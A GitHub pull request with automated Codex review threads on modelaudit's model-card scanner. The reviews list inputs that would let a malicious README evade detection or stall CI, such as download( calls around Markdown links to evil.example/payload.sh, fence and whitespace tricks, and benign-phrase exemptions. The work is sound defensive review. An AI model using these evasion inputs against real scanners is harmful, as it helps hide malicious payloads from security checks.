Repository navigation
fix(text): reduce model-card false positives - #1912
mldangelo-oai wants to merge 25 commits into
Conversation
Performance BenchmarksCompared
|
Codex Review SummaryThis comment shows the latest Codex review activity on this pull request.
Security findingsAdvisory findings (11)
ℹ️ About Codex in GitHubYour team has set up Codex to review pull requests in this repo. Reviews are triggered when you
Codex reacts with 👀 while any review is running, comments if it has suggestions, and reacts with 👍 once all reviews finish with no findings. |
![chatgpt-codex-connector[bot]](https://avatars.githubusercontent.com/in/1144995?s=60&v=4){kind=small}
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 99d1e33393
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| if cls._documentation_position_is_in_passive_markdown_link(payload, position): | ||
| return False |
There was a problem hiding this comment.
When a model card wraps an unquoted Markdown link in a call, such as download(\n [payload](https://evil.example/payload.sh)\n), this passive-link check now returns False before _documentation_open_call_contains_position() can recognize the surrounding call. The same input was actionable before this reordering, but is now downgraded to informational and can produce exit code 0 despite the download context; include enclosing-call detection in the actionable Markdown-link classification before accepting the link as passive.
AGENTS.md reference: AGENTS.md:L23-L27
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
Confirmed: the passive-link return precedes the enclosing-call check. The proposed patch checks enclosing calls before accepting Markdown as passive, with unquoted and raw-string argument controls alongside benign prose cases. Context inspection remains bounded. This is still a proposed patch; branch integration and runtime tests are pending.
| if cls._finding_line_prefix_is_truncated(payload, {"position": link_start}): | ||
| return False |
There was a problem hiding this comment.
For an ordinary documentation link whose [ starts more than 4096 bytes into one physical line, this new guard unconditionally disables passive-link recognition. If the line contains only long prose rather than an open call, _documentation_finding_is_actionable() subsequently takes its truncated-prefix fallback and reports the benign URL as actionable, so generated or minified model cards can regain a nonzero security exit; restrict this exception to a proven code literal/open-call context and add the corresponding long benign near-match.
AGENTS.md reference: AGENTS.md:L115-L120
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
Confirmed: line length alone should not make a passive link actionable. The proposed patch removes that length-only exclusion and uses bounded call, assignment and configuration-context checks, with long-prose and executable-literal pairs around the 4096-byte boundary. Unrecognized or exhausted context remains conservative. Branch integration and runtime tests are pending.
| html_link = DOCUMENTATION_PASSIVE_HTML_URL_ATTRIBUTE_PATTERN.search(html_prefix) | ||
| if html_link is not None: | ||
| tag_line_start = html_prefix.rfind(b"\n", 0, html_link.start()) + 1 | ||
| if not html_prefix[tag_line_start : html_link.start()].strip(): | ||
| return False |
There was a problem hiding this comment.
When a passive-looking anchor is nested inside an actionable configuration element, for example <endpoint>\n<a\n href="https://evil.example/payload.sh">\n</endpoint>, this early return marks the URL informational before _documentation_structured_config_value_prefix_is_actionable() can observe the still-open endpoint tag. The same URL previously remained actionable through the config-tag check, so wrapping an endpoint value in a multiline <a> now suppresses the security finding and can yield exit code 0; only apply the passive-HTML downgrade after ruling out surrounding config contexts.
AGENTS.md reference: AGENTS.md:L23-L27
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
Confirmed: the passive-anchor return can hide an open surrounding configuration element. The proposed patch checks the context before the HTML tag for an enclosing assignment or configuration value, excluding the tag's own href/src from that decision. Paired controls cover open, closed and absent configuration contexts plus passive anchors/images. Integration and runtime validation remain pending.
There was a problem hiding this comment.
🟡 Changes recommended
Port retargeting can reintroduce decimal-prefix matches, and the link-order change can suppress executable raw-string calls.
2 open findings
What changed in this PR
Reduces false-positive security findings in model-card documentation while preserving actionable detections.
Changes:
- Classifies passive links and possible-misuse prose as informational.
- Prevents partial suspicious-port matches.
- Adds regression and positive-control tests.
| File | Description |
|---|---|
modelaudit/scanners/text_scanner.py |
Refines documentation classification. |
modelaudit/detectors/network_comm.py |
Adds port boundaries and positions. |
tests/scanners/test_text_scanner.py |
Adds text-scanner regressions. |
tests/detectors/test_network_comm_detector.py |
Tests complete port matching. |
CHANGELOG.md |
Documents the fixes. |
🧠 Review effort: Balanced
💡 Add a code-review agent skill or configure MCP servers for context-aware, tailored reviews. Learn more in the docs.
| port_end = port_start + len(port_bytes) | ||
| if data[port_end : port_end + 1].isdigit(): | ||
| continue |
There was a problem hiding this comment.
Confirmed: retargeting can move a valid port 23 prose finding onto the :23 prefix of 2310. The proposed patch reapplies the complete-number boundary to retarget candidates, including the final-probe fallback, while preserving the occurrence budget. Controls pair decimal near-matches with later real port assignments. Branch integration is pending, and the tests have not been run.
There was a problem hiding this comment.
🛡️ Codex Security Review · Automatically triggered
Here are some automated security review suggestions for this pull request.
Reviewed commit: 32c92baed9
ℹ️ About Codex security reviews in GitHub
This is an experimental Codex feature. Security reviews are triggered when:
- You comment "@codex security review"
- A regular code review gets triggered (for example, "@codex review" or when a PR is opened), and you’re opted in so security review runs alongside code review
Once complete, Codex will leave suggestions, or a comment if no findings are found.
| if (passive_line_markdown_link or literal_value_prefix) and cls._documentation_open_call_contains_position( | ||
| payload, link_start | ||
| ): | ||
| return False |
There was a problem hiding this comment.
🛡️ Codex Security Review · Automatically triggered
When scanning attacker-supplied README/model-card text, a Markdown URL inside a multiline call is still downgraded if non-literal text precedes [, e.g. download(\n --url [payload](https://evil.example/payload.sh)\n). The new check only tests the enclosing call when the line prefix is already passive or literal; --url is neither, so the link returns as passive and becomes INFO instead of the parent’s CRITICAL, allowing an informational-only scan to exit 0. This is fresh evidence beyond the earlier whitespace-only case. Check for an enclosing call before every passive Markdown return and cover prefixed arguments.
SECURITY.md reference: SECURITY.md:L19-L21
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 32c92baed9
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| if (passive_line_markdown_link or literal_value_prefix) and cls._documentation_open_call_contains_position( | ||
| payload, link_start | ||
| ): |
There was a problem hiding this comment.
Fresh evidence beyond the prior thread is that the new guard still checks the enclosing call only when the link-line prefix is classified as passive or literal. For example, download(\n source [payload](https://evil.example/payload.sh)\n) has a nonempty prose-like prefix, so the actionable-context helper returns false, this guard is skipped, and the passive-link return runs before the general open-call check; the network destination is therefore downgraded to informational and can yield exit code 0. Apply the enclosing-call check regardless of these two prefix classifications.
AGENTS.md reference: AGENTS.md:L25-L27
Useful? React with 👍 / 👎.
| surrounding_prefix = html_prefix[: html_link.start()] | ||
| return cls._documentation_assignment_is_actionable( | ||
| surrounding_prefix | ||
| ) or cls._documentation_markdown_link_config_is_actionable(surrounding_prefix) |
There was a problem hiding this comment.
Fresh evidence beyond the prior HTML/config thread is that a passive tag nested in an enclosing call is still downgraded. For download(\n <a\n href="https://evil.example/payload.sh">\n), the tag-local open-call check cannot see past the preceding <a line, and this early return considers only assignments and configuration mappings; it therefore returns false before the later full-prefix enclosing-call check that previously kept the URL actionable. Include surrounding call/literal execution contexts before accepting the tag as passive.
AGENTS.md reference: AGENTS.md:L25-L27
Useful? React with 👍 / 👎.
| rb"|\b" | ||
| + GENERIC_CC_BENIGN_TERM_PATTERN | ||
| + rb"\s+(?:production|generation|creation)\s+(?:may|might|could)\s+be\s+possible\b" |
There was a problem hiding this comment.
This unanchored benign phrase also matches an explicitly hostile continuation such as Malware production may be possible and is enabled by default. Because that line contains only one malware occurrence, retargeting has no later token to reconsider, so the sole critical C&C finding is downgraded to informational and the document can exit successfully. Constrain the exemption to genuinely cautionary misuse prose rather than accepting any line containing this substring.
AGENTS.md reference: AGENTS.md:L25-L27
Useful? React with 👍 / 👎.
| # Detector positions point at the digits, while retarget tokens | ||
| # include their delimiter. Include the original occurrence. | ||
| search_start = max(0, search_start - max(map(len, token_bytes_options)) + len(str(finding["port"]))) |
There was a problem hiding this comment.
The detector records the first match of the first pattern variant, not the earliest occurrence across all variants, so this position is unsafe as the retargeting start. For example, in endpoint = "port=23"\nReference host:23 is documented., the detector checks :23 before port=23 and records the later passive occurrence; this adjusted start then skips the actionable assignment entirely, after which the finding is downgraded to informational and can yield exit code 0. Search all complete port tokens from byte zero or make the detector select the globally earliest complete match.
AGENTS.md reference: AGENTS.md:L25-L27
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
🛡️ Codex Security Review · Automatically triggered
Here are some automated security review suggestions for this pull request.
Reviewed commit: 1a908a1ab7
ℹ️ About Codex security reviews in GitHub
This is an experimental Codex feature. Security reviews are triggered when:
- You comment "@codex security review"
- A regular code review gets triggered (for example, "@codex review" or when a PR is opened), and you’re opted in so security review runs alongside code review
Once complete, Codex will leave suggestions, or a comment if no findings are found.
| if cls._documentation_open_call_contains_position(payload, position): | ||
| return True | ||
| if cls._documentation_multiline_literal_contains_position(payload, position): | ||
| return True |
There was a problem hiding this comment.
🛡️ Codex Security Review · Automatically triggered
When default documentation network scanning is enabled and no other warning exists, a model publisher can place [payload](https://evil.example/cmd.sh) on an indented line under endpoint = [ (or {/(). The passive-Markdown return now runs before the moved multiline-literal check, so the same URL changes from actionable in the parent to INFO without an incomplete marker, allowing CI exit 0. This is fresh evidence beyond the previously reported open-call variants: _documentation_multiline_literal_contains_position() returns true for this payload but is reached only after the downgrade. Move it above the passive return.
SECURITY.md reference: SECURITY.md:L96-L96
Useful? React with 👍 / 👎.
| or any( | ||
| cls._documentation_quoted_value_is_open(code_prefix, match.group("quote")[0], match.end()) | ||
| for match in DOCUMENTATION_CODE_QUOTED_VALUE_OPEN_PATTERN.finditer(code_prefix) | ||
| ) |
There was a problem hiding this comment.
🛡️ Codex Security Review · Automatically triggered
When a README/model card is scanned with default network checks, a publisher can put many ;x=\"a assignment-like fragments on one line before a Markdown URL. The new any() invokes _documentation_quoted_value_is_open() from every match to the line end, making classification quadratic. The exact helper took 0.069s at 1.5KB, 0.259s at 3KB, 0.904s at 6KB, 3.335s at 12KB, and 13.27s at 24KB; the parent took 0.043s at 24KB. The 100MB check only warns and the directory timeout is checked before, not during, scan_file, so a small sidecar can exhaust a CI job. Scan quotes once or enforce a work budget.
SECURITY.md reference: SECURITY.md:L132-L133
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
🛡️ Codex Security Review · Automatically triggered
Here are some automated security review suggestions for this pull request.
Reviewed commit: 3df8ed42ee
ℹ️ About Codex security reviews in GitHub
This is an experimental Codex feature. Security reviews are triggered when:
- You comment "@codex security review"
- A regular code review gets triggered (for example, "@codex review" or when a PR is opened), and you’re opted in so security review runs alongside code review
Once complete, Codex will leave suggestions, or a comment if no findings are found.
| if stripped.startswith((b"```", b"~~~")): | ||
| return False |
There was a problem hiding this comment.
🛡️ Codex Security Review · Automatically triggered
Required condition: an untrusted README/model card is scanned with the default network check. Fresh evidence beyond the prior open-call reports is this newly added fence-only return: a publisher can put a ``` or ~~~ line between download( and [payload](https://evil.example/cmd.sh). The guard makes the enclosing-call check false, so the passive-Markdown branch downgrades the detector's HIGH URL to INFO before the later call check. A parent/current classifier replay shows HIGH→INFO with no incomplete marker, allowing an informational-only scan to exit 0. Track actual closed fence spans instead of aborting the surrounding-call scan.
SECURITY.md reference: SECURITY.md:L20-L20
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: facfc053fa
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| current_indent = len(current_line_prefix) - len(current_line_prefix.lstrip(b" \t")) | ||
|
|
||
| context_start = max(0, line_start - MAX_TEXT_FINDING_CONTEXT_BYTES) | ||
| context_start = cls._documentation_last_closed_fence_end(payload, context_start, line_start) |
There was a problem hiding this comment.
When a documentation sidecar contains valid Python such as download("""\n```\nexample\n```\n[payload](https://evil.example/payload.sh)\n"""), this boundary discards the still-open download call because it treats the balanced backticks inside the triple-quoted argument as a Markdown fence. The passive-link path then downgrades the URL to INFO, potentially allowing exit code 0. Fresh evidence beyond the prior fence thread is that this case uses a balanced fence inside a syntactically valid executable string argument, rather than an incomplete or malformed fence; retain quote/call state when deciding whether a fence establishes a context boundary.
AGENTS.md reference: AGENTS.md:L25-L27
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
🛡️ Codex Security Review · Automatically triggered
Here are some automated security review suggestions for this pull request.
Reviewed commit: facfc053fa
ℹ️ About Codex security reviews in GitHub
This is an experimental Codex feature. Security reviews are triggered when:
- You comment "@codex security review"
- A regular code review gets triggered (for example, "@codex review" or when a PR is opened), and you’re opted in so security review runs alongside code review
Once complete, Codex will leave suggestions, or a comment if no findings are found.
| if opening is None: | ||
| if delimiter[:1] != b"`" or b"`" not in info: | ||
| opening = delimiter | ||
| elif delimiter[:1] == opening[:1] and len(delimiter) >= len(opening) and not info.strip(): | ||
| boundary = cursor + len(line) |
There was a problem hiding this comment.
🛡️ Codex Security Review · Automatically triggered
Required condition: an untrusted README/model card is scanned with the default network check. Fresh evidence beyond the earlier fence report is that a closed fence whose opener lies before the 4 KiB lookback is parsed as a new opener; a later fence-only line inside download( is then treated as its closer. With 4,096 filler bytes, the detector's MEDIUM URL becomes INFO without an incomplete marker, so an otherwise clean CI scan can exit 0. Seed fence state at the window boundary or do not advance past an unmatched closer.
SECURITY.md reference: SECURITY.md:L19-L21
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 863418398d
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| if len(line_prefix) >= MAX_TEXT_FINDING_CONTEXT_BYTES and not line_prefix.strip(): | ||
| return False |
There was a problem hiding this comment.
Fresh evidence beyond the earlier long-prose case is that an otherwise ordinary link preceded by at least 4,096 spaces still hits this length-only return. For a generated line such as (" " * 4096) + "[guide](https://docs.example.com)", the later truncated-prefix fallback treats the URL as actionable, so a benign model card can produce a nonzero security exit. Continue passive-link classification after recovering the extended context unless that context actually contains an assignment, call, or configuration value.
AGENTS.md reference: AGENTS.md:L117-L119
Useful? React with 👍 / 👎.
| if start: | ||
| # A truncated window cannot distinguish an opener from an earlier fence's closer. | ||
| return start |
There was a problem hiding this comment.
Fresh evidence beyond the earlier out-of-window opener case is that this unconditional return also ignores fences whose opener and closer are both fully visible whenever the file has more than 4 KiB of preceding content. For example, padding followed by a closed fenced example containing incomplete download( syntax and then a prose Markdown link leaves the call visible to _documentation_open_call_contains_position(), making the benign link actionable and potentially producing exit code 1. Determine fence state at the window boundary, then still advance past completed fences within the window.
AGENTS.md reference: AGENTS.md:L117-L119
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
🛡️ Codex Security Review · Automatically triggered
Here are some automated security review suggestions for this pull request.
Reviewed commit: 863418398d
ℹ️ About Codex security reviews in GitHub
This is an experimental Codex feature. Security reviews are triggered when:
- You comment "@codex security review"
- A regular code review gets triggered (for example, "@codex review" or when a PR is opened), and you’re opted in so security review runs alongside code review
Once complete, Codex will leave suggestions, or a comment if no findings are found.
| rb"|\b" | ||
| + GENERIC_CC_BENIGN_TERM_PATTERN | ||
| + rb"\s+(?:production|generation|creation)\s+(?:may|might|could)\s+be\s+possible\b" | ||
| rb"(?=[.;]?\s*$|[.;]\s*review\s+generated\s+outputs\.?\s*$" |
There was a problem hiding this comment.
🛡️ Codex Security Review · Automatically triggered
Required condition: an untrusted README/model card is scanned with the default network check and has no other actionable alert. Fresh evidence beyond the earlier same-line thread is that the new end-of-line alternative accepts Malware production may be possible.\nThe model installs it on the scanner host by default. because classification examines only the token's physical line. The detector's CRITICAL C&C hit becomes INFO without an incomplete marker, so CI can exit 0 despite the next-line admission. Inspect bounded continuation lines before applying this exemption.
SECURITY.md reference: SECURITY.md:L19-L21
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 1b12deffac
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| ) | ||
| DOCUMENTATION_CODE_QUOTED_VALUE_OPEN_PATTERN = re.compile( | ||
| rb"(?:^|[\r\n{[(,;])[ \t]*(?:(?:const|let|var)[ \t]+)?[A-Za-z_][A-Za-z0-9_.-]*[ \t]*=" | ||
| rb"[\s(\[{\\]{0,4096}[rubfRUBF]*(?P<quote>[\"'`])" |
There was a problem hiding this comment.
When an untrusted model card places more than 4,096 whitespace bytes between an assignment and its opening quote, such as endpoint = + 5,000 spaces + "[payload](https://evil.example/payload.sh)", the recovered long-line context includes the assignment but this pattern cannot recognize it. The Markdown classifier consequently marks the URL passive, downgrading the network finding to INFO and potentially allowing exit code 0; preserve actionable assignment context across the full bounded long-line window.
AGENTS.md reference: AGENTS.md:L25-L27
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 5de2edf97f
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| paragraph_end = re.search(rb"\r?\n[ \t]*\r?\n", context) | ||
| if paragraph_end is None and context_end < len(payload): | ||
| return False | ||
| paragraph = context[: paragraph_end.start()] if paragraph_end is not None else context |
There was a problem hiding this comment.
When an untrusted model card contains Malware production may be possible.\n\nThis capability is enabled by default., this paragraph boundary discards the admission before applying the exemption, so the sole CRITICAL malware finding becomes INFO and an otherwise clean scan can exit 0. Fresh evidence beyond the earlier continuation-line thread is that inserting one blank line bypasses the new continuation check; inspect bounded following text for hostile admissions before downgrading.
AGENTS.md reference: AGENTS.md:L25-L27
Useful? React with 👍 / 👎.
| for line in payload[:end].splitlines(keepends=True): | ||
| fence = re.fullmatch(rb" {0,3}(`{3,}|~{3,})([^\r\n]*)\r?\n?", line) |
There was a problem hiding this comment.
When an untrusted README/model card contains many detected URLs, every classification calls this helper and rebuilds/splits the entire prefix from byte zero; fence-like lines additionally trigger up to 128 separate tokenizer probes on every call. With the supported 1,024-finding limit, a sub-256 KiB file can therefore multiply the same bounded parsing work hundreds of times and materially stall a scan. Fresh evidence beyond the prior quoted-value performance thread is that this quadratic work is in the new fence parser and scales across findings even when each individual probe respects its limits; compute fence boundaries once per payload or advance cached state monotonically.
AGENTS.md reference: AGENTS.md:L113-L113
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
🛡️ Codex Security Review · Automatically triggered
Here are some automated security review suggestions for this pull request.
Reviewed commit: b43d4dbc70
ℹ️ About Codex security reviews in GitHub
This is an experimental Codex feature. Security reviews are triggered when:
- You comment "@codex security review"
- A regular code review gets triggered (for example, "@codex review" or when a PR is opened), and you’re opted in so security review runs alongside code review
Once complete, Codex will leave suggestions, or a comment if no findings are found.
| except (IndentationError, tokenize.TokenError): | ||
| # Prose contractions can stop tokenization before a closing paren. | ||
| # Preserve actual Python string prefixes and keywords. | ||
| normalized = re.sub( |
There was a problem hiding this comment.
🛡️ Codex Security Review · Automatically triggered
Required condition: an attacker-supplied README/model card is scanned with the default network check. Fresh evidence beyond the earlier quote-index reports: each passive Markdown URL probes every prior line in its 4 KiB context; when a prefix contains It's, this new exception normalizes and recursively tokenizes the growing prefix again. An exact parent/reviewed replay using alternating ''/It's lines took 37.182s versus 0.167s for a 64 KiB file with 16 links. The 1,024-finding default permits amplification, and the timeout is checked before—not during—scan_file, so a model publisher can stall CI enforcement. Cache parser state or enforce a work budget.
SECURITY.md reference: SECURITY.md:L132-L133
Useful? React with 👍 / 👎.
|
Codex Review: Something went wrong. Try again later by commenting “@codex review”. ℹ️ About Codex in GitHubYour team has set up Codex to review pull requests in this repo. Reviews are triggered when you
If Codex has suggestions, it will comment; otherwise it will react with 👍. Codex can also answer questions or update the PR. Try commenting "@codex address that feedback". |
1 similar comment
|
Codex Review: Something went wrong. Try again later by commenting “@codex review”. ℹ️ About Codex in GitHubYour team has set up Codex to review pull requests in this repo. Reviews are triggered when you
If Codex has suggestions, it will comment; otherwise it will react with 👍. Codex can also answer questions or update the PR. Try commenting "@codex address that feedback". |
![github-code-quality[bot]](https://avatars.githubusercontent.com/u/9919?s=60&v=4){kind=small}
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: d5e2e210f1
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| elif documentation_sidecar and cls._documentation_finding_actionability(payload, finding) is None: | ||
| classification_incomplete = True | ||
| classification_limit_sources.add("documentation_call_context") |
There was a problem hiding this comment.
When an actionable specialized finding such as cc_pattern follows dense parenthesized prose that exhausts the open-call parser, its specialized classifier correctly keeps it non-informational, but this unconditional generic reclassification returns None and marks the entire scan incomplete. This changes a definitive malware finding into an operational exit 2 and prevents caching even though call context plays no role in classifying C&C patterns; limit this check to finding types whose classification actually depends on _documentation_finding_actionability.
AGENTS.md reference: AGENTS.md:L139-L139
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 30f6848c52
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| if quote == ord("'"): | ||
| states[quote] = ( | ||
| pending if value == quote else (-1 if value in b"\r\n" else opened), | ||
| opened if value == quote else -1, |
There was a problem hiding this comment.
In a valid single-quoted assignment such as endpoint='prefix\' source [payload](https://evil.example/payload.sh)', the backslash keeps the quote open, but this branch treats that quote as the closing delimiter because it only supports doubled single quotes. With intervening text before the Markdown link, the other literal-prefix checks do not recover the assignment context, so the malicious URL is downgraded to informational and can yield exit code 0. Track backslash escape parity for single quotes as is already done for double quotes and backticks.
AGENTS.md reference: AGENTS.md:L25-L27
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
🛡️ Codex Security Review · Automatically triggered
Here are some automated security review suggestions for this pull request.
Reviewed commit: 30f6848c52
ℹ️ About Codex security reviews in GitHub
This is an experimental Codex feature. Security reviews are triggered when:
- You comment "@codex security review"
- A regular code review gets triggered (for example, "@codex review" or when a PR is opened), and you’re opted in so security review runs alongside code review
Once complete, Codex will leave suggestions, or a comment if no findings are found.
| if quoted_assignment is None | ||
| else quoted_assignment | ||
| ) | ||
| or (not line_prefix.lstrip().startswith(b"|") and cls._documentation_prefix_has_enclosing_call(line_prefix)) |
There was a problem hiding this comment.
🛡️ Codex Security Review · Automatically triggered
Required condition: an attacker-supplied README/model card is scanned with default network checks. Each same-line Markdown URL reaches the new unbudgeted parser; 512 findings in 27,649 bytes took 35.59s versus 2.25s in the parent, while the 1,024-finding default permits more work. The 8 MiB budget is charged only by the multiline helper, so this path neither consumes it nor marks the scan incomplete. Fresh evidence beyond the prior contraction report is that non-passive same-line prefixes take the new line-1220 path and bypass that fix. Charge this parse to a per-scan budget/cache.
SECURITY.md reference: SECURITY.md:L132-L133
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: b9c290695d
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| matches = ( | ||
| match | ||
| for match in DOCUMENTATION_CODE_QUOTED_VALUE_OPEN_PATTERN.finditer(context) | ||
| if not nested_in_literal(match.start()) |
There was a problem hiding this comment.
Fresh evidence beyond the prior quoted-prose thread is that only Python string spans are excluded here, while closed Markdown inline-code spans are not. For example, The literal ; b='text is described by [guide](https://docs.example.com) causes the regex to accept ; b=' as an assignment opener; the unmatched single quote then makes the benign guide URL actionable and can produce exit code 1. Exclude matches inside proven closed inline-code spans as well.
AGENTS.md reference: AGENTS.md:L117-L119
Useful? React with 👍 / 👎.
| context = source[origin : origin + 2 * window] | ||
| positions, starts = cls._documentation_quoted_assignment_index(context) |
There was a problem hiding this comment.
Fresh evidence beyond the prior compact-index thread is that every lookup constructs a new slice of up to 512 KiB before entering the cached index function. On a documentation payload larger than that window with hundreds of detected links in the same region, each cache hit must still copy and hash the entire window, so the supported 1,024 findings can move and hash hundreds of megabytes or more despite reusing the parsed index. Cache windows by payload identity and offset, or otherwise avoid rebuilding the bytes key for every finding.
AGENTS.md reference: AGENTS.md:L113-L113
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 7df11e2da0
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| if ( | ||
| context.find(b"\n", previous_end, closing.start()) >= 0 | ||
| or context.find(b"\r", previous_end, closing.start()) >= 0 | ||
| ): | ||
| break |
There was a problem hiding this comment.
Fresh evidence beyond the earlier inline-code report is that an unmatched backtick on one line causes this shared iterator to consume the opening marker of a valid span on the next line before breaking. For example, unmatched followed by a new line containing The literal `; b='text` is described by [guide](https://docs.example.com) yields no closed span, so the assignment index treats b=' as executable and makes the benign guide link actionable, potentially producing exit code 1. Restart marker pairing after the newline rather than discarding the candidate that belongs to the next line.
AGENTS.md reference: AGENTS.md:L117-L119
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
🛡️ Codex Security Review · Automatically triggered
Here are some automated security review suggestions for this pull request.
Reviewed commit: 7df11e2da0
ℹ️ About Codex security reviews in GitHub
This is an experimental Codex feature. Security reviews are triggered when:
- You comment "@codex security review"
- A regular code review gets triggered (for example, "@codex review" or when a PR is opened), and you’re opted in so security review runs alongside code review
Once complete, Codex will leave suggestions, or a comment if no findings are found.
| byte_offsets.append(byte_offsets[-1] + len(character.encode("utf-8"))) | ||
| spans: list[tuple[int, int]] = [] | ||
| try: | ||
| for item in tokenize.generate_tokens(io.StringIO(source).readline): |
There was a problem hiding this comment.
🛡️ Codex Security Review · Automatically triggered
Required condition: an attacker-controlled README/model card is scanned with default network checks. The new quote index tokenizes a complete 512 KiB window before checking for any assignment; one 524,288-byte single-line fixture took 33.06s versus 0.26s in the parent and still returned complete INFO. Distinct 256 KiB windows repeat this unbudgeted work up to the 100 MiB/1,024-finding defaults, while the timeout is checked outside scan_file, so a model publisher can stall CI. Fresh evidence beyond the prior cross-finding cache report is that one link triggers superlinear tokenizer work even with the new cache. Prefilter and budget/token-limit this parse.
SECURITY.md reference: SECURITY.md:L132-L133
Useful? React with 👍 / 👎.
|
Codex Review: Something went wrong. Try again later by commenting “@codex review”. ℹ️ About Codex in GitHubYour team has set up Codex to review pull requests in this repo. Reviews are triggered when you
If Codex has suggestions, it will comment; otherwise it will react with 👍. Codex can also answer questions or update the PR. Try commenting "@codex address that feedback". |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 97fd273623
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| return any( | ||
| match.start() <= position < match.end() | ||
| for match in BENIGN_DOCUMENTATION_MISUSE_PATTERN.finditer(paragraphs[0]) |
There was a problem hiding this comment.
Fresh evidence beyond the prior continuation cases is that hostile text can precede the exemption in the same paragraph, for example This model steals user data. Malware production may be possible. Only later paragraphs are screened, while this final predicate accepts the boilerplate anywhere in the first paragraph; consequently, the sole CRITICAL malware finding is downgraded to INFO and the scan can exit 0. Require all surrounding first-paragraph text to satisfy the benign grammar before applying the exemption.
AGENTS.md reference: AGENTS.md:L25-L27
Useful? React with 👍 / 👎.
|
Codex Review: Something went wrong. Try again later by commenting “@codex review”. ℹ️ About Codex in GitHubYour team has set up Codex to review pull requests in this repo. Reviews are triggered when you
If Codex has suggestions, it will comment; otherwise it will react with 👍. Codex can also answer questions or update the PR. Try commenting "@codex address that feedback". |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 11040f9c5d
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| for separator in re.finditer(rb"\r?\n[ \t]*\r?\n", payload[lookback:absolute_position]): | ||
| context_start = lookback + separator.end() |
There was a problem hiding this comment.
